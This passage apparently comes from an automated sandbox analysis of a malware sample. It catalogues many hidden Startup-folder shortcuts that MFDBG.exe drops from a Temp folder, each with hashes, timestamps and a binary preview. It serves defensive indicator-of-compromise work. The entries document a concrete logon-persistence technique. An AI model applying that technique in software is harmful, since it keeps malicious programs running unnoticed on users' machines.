Preview:	L..................F...."...]W%.{....^..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1a4536e9d97148c180ff1153bc03de2f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937970715838244
Encrypted:	false
SSDEEP:	24:8thBf8p8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Nh0R6rMhpBoUBxdRd1nYyg
MD5:	C3576F8783AEE706D339321304FF142D
SHA1:	92E33FFA390F4857BC9C2D49B6BD4FADF55FB7EC
SHA-256:	467B0376E61C46F0E7B790F0D4C88D06242AB595DD86C04D69931D49A012D9C9
SHA-512:	B30347F3C3627EFD35031873708C31D955A30D5960A1C845151222272F403D282D39DD0A4416D6343557E3BCBA1AE7BA0EF9EE8769A780879800DBAFC443A93D
Malicious:	false
Preview:	L..................F...."...]W%.{....W..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....lw.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1a8709e4167c4839b7d3f49e2c618bc7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9377464859340945
Encrypted:	false
SSDEEP:	24:8XGhBfN8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8XMy0R6rMhpBoUBxdRd1nYyg
MD5:	19716A66AD7D0061F9CB0A758F51DBAF
SHA1:	0895B07A42C607672016074C37D10B76DF23D299
SHA-256:	CA68534D09F88D0CF8A066B205B83D093155B0B402CF84E10967FA5A62944752
SHA-512:	3FA9E73FCC5F1E4E7AF68CFD497E08DE2A79332AB85DAAD3D09B071004ABD2D084D4056FF91EE7596C0545BB0DFFE8CD5BE8814610F8EB2EC3D70D7A8CE60B0D
Malicious:	false
Preview:	L..................F...."...]W%.{.....5.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1a8b5f8846dd46878829a4cdf100aad3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931062298367456
Encrypted:	false
SSDEEP:	24:8a1hBf2p8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8EeO0R6rMhpBoUBxdRd1nYyg
MD5:	BC4C2F56777CB86747D7C243921B02D3
SHA1:	CEF0A7055D4FDDE68B41692E3405F631A13AD932
SHA-256:	84F8CA79A0949FA06ADE24543B47FA14122DBF399637C5CFC1F762BCFB8C17C3
SHA-512:	E28AF4BD22CA37ECA9FB09B9922B7ADFDB4D58F85C249A5891E5BAEC9891E29D7AF45E6B41AC3F1F55482378E4D55D744133D725F86E1E81A73FB68BB65B5A64
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1b89850992b94e3e8b9eff5903af5fcf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932773292649268
Encrypted:	false
SSDEEP:	24:8ahBfG48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Qa0R6rMhpBoUBxdRd1nYyg
MD5:	DE6AF21A46AA9AC2E67B1E6DB38A16A3
SHA1:	0C5A3BA2EF2AE8F2FCBFA5AC2AA1560C4C92EE83
SHA-256:	6613FC3B3F17D05389B1FC8DCE1E6D726C8BC12E501F45F797A8C1A7EE67209E
SHA-512:	5F2465327FD39A288949E7AFA7B71174DFCD864D097E8D445AF2D8874598B37F96A7A4B93E3728C1E4AA45686451A739E96DB469CDEAE1F23384D975F467A80D
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...2.\|.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1c776814a28048cb9caf89101bec2e0c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938593647624409
Encrypted:	false
SSDEEP:	24:8+hBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8UPT0R6rMhpBoUBxdRd1nYyg
MD5:	58E094AF44CEE3A815C3503B68D6261C
SHA1:	6574F1984575FEBD6BC2DF834FE4EBD69ACC91CB
SHA-256:	E0D78518394640BD879956DCF83FB1D2B59ACB5DCB307EFED5473C248D021792
SHA-512:	827FA7688F7729C85FE8F877812091C5F1EEDC036C462FB216B5BBFCF755DE7F6E968483ACD8D14D2D680E87A153AD3031888838B90CD6D7AB58AD102A34544A
Malicious:	false
Preview:	L..................F...."...]W%.{.....A.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1c83a24927a342a6a2ac0694dc802ff6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942819558008763
Encrypted:	false
SSDEEP:	24:89hBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89+0R6rMhpBoUBxdRd1nYyg
MD5:	13E5C415DA3790A00FBE870D923EADA7
SHA1:	EF1241D766E33A2D3EA789A8455E581AF1F2A914
SHA-256:	920A3BFA5FF1C8B94D01FA5AC5D0DFC4B46322B1680A7D92B86B5A0906D8621C
SHA-512:	7A183A35B70943AA8C9CE69AADB21BDF5DFC926F9B85BE799A8152BD7C146214D51D5003A3207756DD2946BBE49E75F01D4976D58742FBE1E168C3FFD9DE0648
Malicious:	false
Preview:	L..................F...."...]W%.{....^..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1c83a9e0d9b2499ea2fc3d5a0477dc9a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9352312850774664
Encrypted:	false
SSDEEP:	24:8L2hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8LcR0R6rMhpBoUBxdRd1nYyg
MD5:	4493299B49171F8773BC6F0578114789
SHA1:	B4D8951CD13A3F6D03E6FC1C1A4F0B14709D7285
SHA-256:	C19B8F40CB09FAAD1EF979B8AB2921FF593DBCCBCF622EA82194184C959C3211
SHA-512:	E4248531760B9D8224AB5D7B299EDED584CB6F4152D989F90ED2E12E3472D715759EFECB9A16D8A66124AB5D5A7840B169FBB4DEA5210751637BA5519386217F
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d337e8647e94e96859b6bc133503773.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939477821701635
Encrypted:	false
SSDEEP:	24:8N9hBfbp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8N9DO0R6rMhpBoUBxdRd1nYyg
MD5:	6B213FDB3D31567B6D87E1BF2D8F1326
SHA1:	8B23EEB833D5EAC0AEF1D9AEE60AC8BBA5CA802E
SHA-256:	901AE5C1667CD82F90901889C2C2C40D2A7AD8E8F732029594817B1D829DA435
SHA-512:	C6CAF23CF6E878D26CE9AA83FB977FE1E493451D73899EE2322515A4870BD7C4601308654C798922162F16587B1598BFF768C2F36299B7A679B43265C36FFE70
Malicious:	false
Preview:	L..................F...."...]W%.{....+2.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...d./.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d66a11277de4648ae88b2a3adc18f71.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929455816740951
Encrypted:	false
SSDEEP:	24:8ihBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8IL0R6rMhpBoUBxdRd1nYyg
MD5:	E74BE0A3DE76F8FD715A3E360028DA44
SHA1:	26871F5BDA2E9879557CBFA36D514A5A122F86CD
SHA-256:	52F273FB8DDF5D3D80EEBBBD944099C2656D946E3DDAF09F81602FB1007B6546
SHA-512:	2568D959C3537C3DAD53B991D2D5AB418A8D1A6A096047399A0EFE5C31ECFBEBA7B38C53926D9E20570E4D70EA7B277EF52CE6B2AADC92EBE07AD2E34BA763D4
Malicious:	false
Preview:	L..................F...."...]W%.{...<S:.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<S:.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1db71f8f218148a488ed41bb6b7e1054.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938921051264851
Encrypted:	false
SSDEEP:	24:8DhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83C0R6rMhpBoUBxdRd1nYyg
MD5:	D8BAB30506F25371553C6DDC893AB9BD
SHA1:	C10F24152489FCAFCE0B82A1F25929C0A4AC79E0
SHA-256:	D89F9BDE0892B584958521633DEA52ED92D2511350A3F446DE114AB887F8E35C
SHA-512:	D2D92251E9ED891EB6D70A08366C3A32A7328DBF42279B22094959E343EAF1226F00B13C7DA6C95424D7E77DF349B311A0F329607C49D4A9F59954C038C914CD
Malicious:	false
Preview:	L..................F...."...]W%.{...2$4.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e59107beb5f429faf5de1e8258b0a38.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938788869878989
Encrypted:	false
SSDEEP:	24:85hBfOW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Z60R6rMhpBoUBxdRd1nYyg
MD5:	7C27C4026894519D5793C3572612CBBD
SHA1:	6691DA5D95D63C982FCAE863AC25562F65CC5963
SHA-256:	1A20E437365921838A344CA721A41FCCE68E83ADD6408DF7F854BD44C3839DE3
SHA-512:	0CBE77CD500DD2510839275F6AF5A13B0DD7758D4ED23851311D97D8884BA0DCAB262AE159BD71E9811DF7DC98A9E9D29CDE5A3F65E20E757E5F4DED66D1173C
Malicious:	false
Preview:	L..................F...."...]W%.{...e...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...?c..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e875b361a27496e8282119649d34fbd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939778650239342
Encrypted:	false
SSDEEP:	24:8lhBfyQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81aF0R6rMhpBoUBxdRd1nYyg
MD5:	034A9E105DD119E16AB56CBA989C07F0
SHA1:	05AC1A8854E5F9849CBE7D930756892BA5D0EAAE
SHA-256:	EEE730A5F435F1B8738D15E8768DD40DFEACFDEEAB3DFFD3BBABAD5A32A50CEB
SHA-512:	CF77EA84DE3075629F4C47EF931540B68142B06F7F3AC50CDAB56F10CC4BC972A5C818DB08618952D20A57313BC92B8493E98479EFCD6EF8B0C438D375222031
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1ea440c531ab44b5898de033fb7e79bc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9352646408041
Encrypted:	false
SSDEEP:	24:8IhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ks0R6rMhpBoUBxdRd1nYyg
MD5:	73244632B679B3054126511818BBAE17
SHA1:	D0CA10434E9BDD61B415931D07E9329A5882965F
SHA-256:	ADD9F5E4372068C943C67CC9F4991F6F41EAB5B282D7DAE2D02E57BA004C01A1
SHA-512:	AFD8F8858572683DD31880DCD7B091F1BCB1D090E56ED5CA60C9F1BBD140B92B0708B993FA020B69A1FBC6167A1FA845676B522F783B2E780E8AC534DD43DAB9
Malicious:	false
